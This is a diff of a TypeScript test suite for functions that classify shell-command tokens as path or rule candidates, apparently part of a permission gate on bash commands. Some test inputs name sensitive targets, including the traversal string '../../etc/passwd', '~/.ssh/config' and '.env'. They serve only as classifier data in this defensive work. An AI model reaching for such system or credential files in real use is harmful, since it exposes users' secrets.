classifyTokenAsPathCandidate,
|
|
5
|
+
classifyTokenAsRuleCandidate,
|
|
6
|
+
} from "#src/handlers/gates/bash-token-classification";
|
|
7
|
+
|
|
8
|
+
// ── Shared rejection behaviour ─────────────────────────────────────────────
|
|
9
|
+
//
|
|
10
|
+
// Both classifiers delegate to the private `rejectNonPathToken` predicate for
|
|
11
|
+
// the seven shared rejection cases tested below. Testing via both exports
|
|
12
|
+
// pins that predicate through each caller.
|
|
13
|
+
|
|
14
|
+
describe("classifyTokenAsPathCandidate", () => {
|
|
15
|
+
describe("shared rejection: rejectNonPathToken", () => {
|
|
16
|
+
test("empty string → null", () => {
|
|
17
|
+
expect(classifyTokenAsPathCandidate("")).toBeNull();
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
test("flag (leading dash) → null", () => {
|
|
21
|
+
expect(classifyTokenAsPathCandidate("-r")).toBeNull();
|
|
22
|
+
expect(classifyTokenAsPathCandidate("--recursive")).toBeNull();
|
|
23
|
+
});
|
|
24
|
+
|
|
25
|
+
test("env assignment (= before any /) → null", () => {
|
|
26
|
+
expect(classifyTokenAsPathCandidate("FOO=/bar")).toBeNull();
|
|
27
|
+
expect(classifyTokenAsPathCandidate("HOME=/home/user")).toBeNull();
|
|
28
|
+
});
|
|
29
|
+
|
|
30
|
+
test("env-like token where = comes after / is NOT rejected as assignment", () => {
|
|
31
|
+
// /foo=bar: slashIndex (0) < eqIndex (4) → not an assignment → continues
|
|
32
|
+
// Starts with /, so path candidate accepts it.
|
|
33
|
+
expect(classifyTokenAsPathCandidate("/foo=bar")).toBe("/foo=bar");
|
|
34
|
+
});
|
|
35
|
+
|
|
36
|
+
test("URL → null", () => {
|
|
37
|
+
expect(classifyTokenAsPathCandidate("https://example.com")).toBeNull();
|
|
38
|
+
expect(classifyTokenAsPathCandidate("http://localhost:3000")).toBeNull();
|
|
39
|
+
expect(classifyTokenAsPathCandidate("file:///tmp/foo")).toBeNull();
|
|
40
|
+
expect(
|
|
41
|
+
classifyTokenAsPathCandidate("git+ssh://github.com/a/b"),
|
|
42
|
+
).toBeNull();
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
test("@scope/package → null", () => {
|
|
46
|
+
expect(classifyTokenAsPathCandidate("@foo/bar")).toBeNull();
|
|
47
|
+
expect(classifyTokenAsPathCandidate("@scope/pkg")).toBeNull();
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
test("@/ prefix is NOT rejected (it looks like an absolute-rooted scoped path)", () => {
|
|
51
|
+
// @/ passes the @ guard; then for path candidate it doesn't start with /
|
|
52
|
+
// or ~/, and doesn't contain .., so it returns null anyway from the
|
|
53
|
+
// acceptance gate — but the rejection is not due to the @ guard.
|
|
54
|
+
// This test documents that @/ is not rejected by the shared rejection.
|
|
55
|
+
// The path classifier then rejects it for not matching any acceptance shape.
|
|
56
|
+
expect(classifyTokenAsPathCandidate("@/foo/bar")).toBeNull();
|
|
57
|
+
});
|
|
58
|
+
|
|
59
|
+
test("bare-slash token → null", () => {
|
|
60
|
+
expect(classifyTokenAsPathCandidate("/")).toBeNull();
|
|
61
|
+
expect(classifyTokenAsPathCandidate("//")).toBeNull();
|
|
62
|
+
expect(classifyTokenAsPathCandidate("///")).toBeNull();
|
|
63
|
+
});
|
|
64
|
+
|
|
65
|
+
test("regex metacharacters → null", () => {
|
|
66
|
+
// REGEX_METACHAR_PATTERN: .*, .+, \|, \(, \), [...], ^/
|
|
67
|
+
expect(classifyTokenAsPathCandidate("foo.*")).toBeNull();
|
|
68
|
+
expect(classifyTokenAsPathCandidate("bar.+")).toBeNull();
|
|
69
|
+
expect(classifyTokenAsPathCandidate("a\\|b")).toBeNull();
|
|
70
|
+
expect(classifyTokenAsPathCandidate("\\(group\\)")).toBeNull();
|
|
71
|
+
expect(classifyTokenAsPathCandidate("[abc]")).toBeNull();
|
|
72
|
+
expect(classifyTokenAsPathCandidate("^/start")).toBeNull();
|
|
73
|
+
});
|
|
74
|
+
});
|
|
75
|
+
|
|
76
|
+
describe("path-candidate acceptance gate", () => {
|
|
77
|
+
test("absolute path (starts with /) → returned as-is", () => {
|
|
78
|
+
expect(classifyTokenAsPathCandidate("/etc/hosts")).toBe("/etc/hosts");
|
|
79
|
+
expect(classifyTokenAsPathCandidate("/tmp")).toBe("/tmp");
|
|
80
|
+
expect(classifyTokenAsPathCandidate("/home/user/file.txt")).toBe(
|
|
81
|
+
"/home/user/file.txt",
|
|
82
|
+
);
|
|
83
|
+
});
|
|
84
|
+
|
|
85
|
+
test("home-relative path (starts with ~/) → returned as-is", () => {
|
|
86
|
+
expect(classifyTokenAsPathCandidate("~/Documents")).toBe("~/Documents");
|
|
87
|
+
expect(classifyTokenAsPathCandidate("~/.ssh/config")).toBe(
|
|
88
|
+
"~/.ssh/config",
|
|
89
|
+
);
|
|
90
|
+
});
|
|
91
|
+
|
|
92
|
+
test("parent-traversal (contains ..) → returned as-is", () => {
|
|
93
|
+
expect(classifyTokenAsPathCandidate("../../etc/passwd")).toBe(
|
|
94
|
+
"../../etc/passwd",
|
|
95
|
+
);
|
|
96
|
+
expect(classifyTokenAsPathCandidate("../foo")).toBe("../foo");
|
|
97
|
+
expect(classifyTokenAsPathCandidate("..")).toBe("..");
|
|
98
|
+
});
|
|
99
|
+
|
|
100
|
+
test("plain word with no path shape → null", () => {
|
|
101
|
+
expect(classifyTokenAsPathCandidate("hello")).toBeNull();
|
|
102
|
+
expect(classifyTokenAsPathCandidate("myfile.txt")).toBeNull();
|
|
103
|
+
});
|
|
104
|
+
|
|
105
|
+
test("dot-file (starts with .) → null (strict path gate)", () => {
|
|
106
|
+
// Path candidate does NOT accept dot-files; rule candidate does.
|
|
107
|
+
expect(classifyTokenAsPathCandidate(".env")).toBeNull();
|
|
108
|
+
expect(classifyTokenAsPathCandidate(".gitignore")).toBeNull();
|
|
109
|
+
});
|
|
110
|
+
|
|
111
|
+
test("relative path with / but no leading / or ~/ → null (strict path gate)", () => {
|
|
112
|
+
// Path candidate does NOT accept bare relative paths; rule candidate does.
|
|
113
|
+
expect(classifyTokenAsPathCandidate("src/foo.ts")).toBeNull();
|
|
114
|
+
expect(classifyTokenAsPathCandidate("./build")).toBeNull();
|
|
115
|
+
});
|
|
116
|
+
});
|
|
117
|
+
});
|
|
118
|
+
|
|
119
|
+
describe("classifyTokenAsRuleCandidate", () => {
|
|
120
|
+
describe("shared rejection: rejectNonPathToken", () => {
|
|
121
|
+
test("empty string → null", () => {
|
|
122
|
+
expect(classifyTokenAsRuleCandidate("")).toBeNull();
|
|
123
|
+
});
|
|
124
|
+
|
|
125
|
+
test("flag (leading dash) → null", () => {
|
|
126
|
+
expect(classifyTokenAsRuleCandidate("-r")).toBeNull();
|
|
127
|
+
expect(classifyTokenAsRuleCandidate("--recursive")).toBeNull();
|
|
128
|
+
});
|
|
129
|
+
|
|
130
|
+
test("env assignment (= before any /) → null", () => {
|
|
131
|
+
expect(classifyTokenAsRuleCandidate("FOO=/bar")).toBeNull();
|
|
132
|
+
expect(classifyTokenAsRuleCandidate("HOME=/home/user")).toBeNull();
|
|
133
|
+
});
|
|
134
|
+
|
|
135
|
+
test("env-like token where = comes after / is NOT rejected as assignment", () => {
|
|
136
|
+
// /foo=bar: slashIndex (0) < eqIndex (4) → not an assignment → continues.
|
|
137
|
+
// Contains /, so rule candidate accepts it.
|
|
138
|
+
expect(classifyTokenAsRuleCandidate("/foo=bar")).toBe("/foo=bar");
|
|
139
|
+
});
|
|
140
|
+
|
|
141
|
+
test("URL → null", () => {
|
|
142
|
+
expect(classifyTokenAsRuleCandidate("https://example.com")).toBeNull();
|
|
143
|
+
expect(classifyTokenAsRuleCandidate("http://localhost:3000")).toBeNull();
|
|
144
|
+
expect(classifyTokenAsRuleCandidate("file:///tmp/foo")).toBeNull();
|
|
145
|
+
});
|
|
146
|
+
|
|
147
|
+
test("@scope/package → null", () => {
|
|
148
|
+
expect(classifyTokenAsRuleCandidate("@foo/bar")).toBeNull();
|
|
149
|
+
expect(classifyTokenAsRuleCandidate("@scope/pkg")).toBeNull();
|
|
150
|
+
});
|
|
151
|
+
|
|
152
|
+
test("bare-slash token → null", () => {
|
|
153
|
+
expect(classifyTokenAsRuleCandidate("/")).toBeNull();
|
|
154
|
+
expect(classifyTokenAsRuleCandidate("//")).toBeNull();
|
|
155
|
+
});
|
|
156
|
+
|
|
157
|
+
test("regex metacharacters → null", () => {
|
|
158
|
+
expect(classifyTokenAsRuleCandidate("foo.*")).toBeNull();
|
|
159
|
+
expect(classifyTokenAsRuleCandidate("bar.+")).toBeNull();
|
|
160
|
+
expect(classifyTokenAsRuleCandidate("a\\|b")).toBeNull();
|
|
161
|
+
expect(classifyTokenAsRuleCandidate("[abc]")).toBeNull();
|
|
162
|
+
expect(classifyTokenAsRuleCandidate("^/start")).toBeNull();
|
|
163
|
+
});
|
|
164
|
+
});
|
|
165
|
+
|
|
166
|
+
describe("rule-candidate acceptance gate (broader than path)", () => {
|
|
167
|
+
test("absolute path (starts with /) → returned as-is", () => {
|
|
168
|
+
expect(classifyTokenAsRuleCandidate("/etc/hosts")).toBe("/etc/hosts");
|
|
169
|
+
});
|
|
170
|
+
|
|
171
|
+
test("home-relative path (starts with ~/) → returned as-is", () => {
|
|
172
|
+
expect(classifyTokenAsRuleCandidate("~/Documents")).toBe("~/Documents");
|
|
173
|
+
});
|
|
174
|
+
|
|
175
|
+
test("parent-traversal (contains ..) → returned as-is", () => {
|
|
176
|
+
expect(classifyTokenAsRuleCandidate("../foo")).toBe("../foo");
|
|
177
|
+
expect(classifyTokenAsRuleCandidate("..")).toBe("..");
|
|
178
|
+
});
|
|
179
|
+
|
|
180
|
+
test("dot-file (starts with .) → returned as-is", () => {
|
|
181
|
+
// Rule candidate accepts dot-files; path candidate does not.
|
|
182
|
+
expect(classifyTokenAsRuleCandidate(".env")).toBe(".env");
|
|
183
|
+
expect(classifyTokenAsRuleCandidate(".gitignore")).toBe(".gitignore");
|
|
184
|
+
});
|
|
185
|
+
|
|
186
|
+
test("current-dir relative (starts with ./) → returned as-is", () => {
|
|
187
|
+
expect(classifyTokenAsRuleCandidate("./src")).toBe("./src");
|
|
188
|
+
expect(classifyTokenAsRuleCandidate("./build/output.js")).toBe(
|
|
189
|
+
"./build/output.js",
|
|
190
|
+
);
|
|
191
|
+
});
|
|
192
|
+
|
|
193
|
+
test("relative path containing / → returned as-is", () => {
|
|
194
|
+
// Rule candidate accepts any token with / (not already rejected).
|
|
195
|
+
expect(classifyTokenAsRuleCandidate("src/foo.ts")).toBe("src/foo.ts");
|
|
196
|
+
expect(classifyTokenAsRuleCandidate("packages/pi-foo/index.ts")).toBe(
|
|
197
|
+
"packages/pi-foo/index.ts",
|
|
198
|
+
);
|
|
199
|
+
});
|
|
200
|
+
|
|
201
|
+
test("plain word with no path shape → null", () => {
|
|
202
|
+
expect(classifyTokenAsRuleCandidate("hello")).toBeNull();
|
|
203
|
+
expect(classifyTokenAsRuleCandidate("myfile.txt")).toBeNull();
|
|
204
|
+
});
|
|
205
|
+
});
|
|
206
|
+
|
|
207
|
+
describe("rule-vs-path divergence", () => {
|
|
208
|
+
const dotFiles = [".env", ".gitignore", ".eslintrc"];
|
|
209
|
+
const relPaths = ["src/index.ts", "lib/utils.js", "config/settings.json"];
|
|
210
|
+
|
|
211
|
+
for (const tok of dotFiles) {
|
|
212
|
+
test(`dot-file "${tok}": rule accepts, path rejects`, () => {
|
|
213
|
+
expect(classifyTokenAsRuleCandidate(tok)).toBe(tok);
|
|
214
|
+
expect(classifyTokenAsPathCandidate(tok)).toBeNull();
|
|
215
|
+
});
|
|
216
|
+
}
|
|
217
|
+
|
|
218
|
+
for (const tok of relPaths) {
|
|
219
|
+
test(`relative path "${tok}": rule accepts, path rejects`, () => {
|
|
220
|
+
expect(classifyTokenAsRuleCandidate(tok)).toBe(tok);
|
|
221
|
+
expect(classifyTokenAsPathCandidate(tok)).toBeNull();
|
|
222
|
+
});
|
|
223
|
+
}
|
|
224
|
+
|
|
225
|
+
const sharedAccepted = ["/etc/hosts", "~/docs", "../sibling"];
|
|
226
|
+
for (const tok of sharedAccepted) {
|
|
227
|
+
test(`"${tok}": both classifiers accept`, () => {
|
|
228
|
+
expect(classifyTokenAsRuleCandidate(tok)).toBe(tok);
|
|
229
|
+
expect(classifyTokenAsPathCandidate(tok)).toBe(tok);
|
|
230
|
+
});
|
|
231
|
+
}
|
|
232
|
+
|
|
233
|
+
const sharedRejected = ["hello", "--flag", "FOO=/bar", "https://x.com"];
|
|
234
|
+
for (const tok of sharedRejected) {
|
|
235
|
+
test(`"${tok}": both classifiers reject`, () => {
|
|
236
|
+
expect(classifyTokenAsRuleCandidate(tok)).toBeNull();
|
|
237
|
+
expect(classifyTokenAsPathCandidate(tok)).toBeNull();
|
|
238
|
+
});
|
|
239
|
+
}
|
|
240
|
+
});
|
|
241
|
+
});
|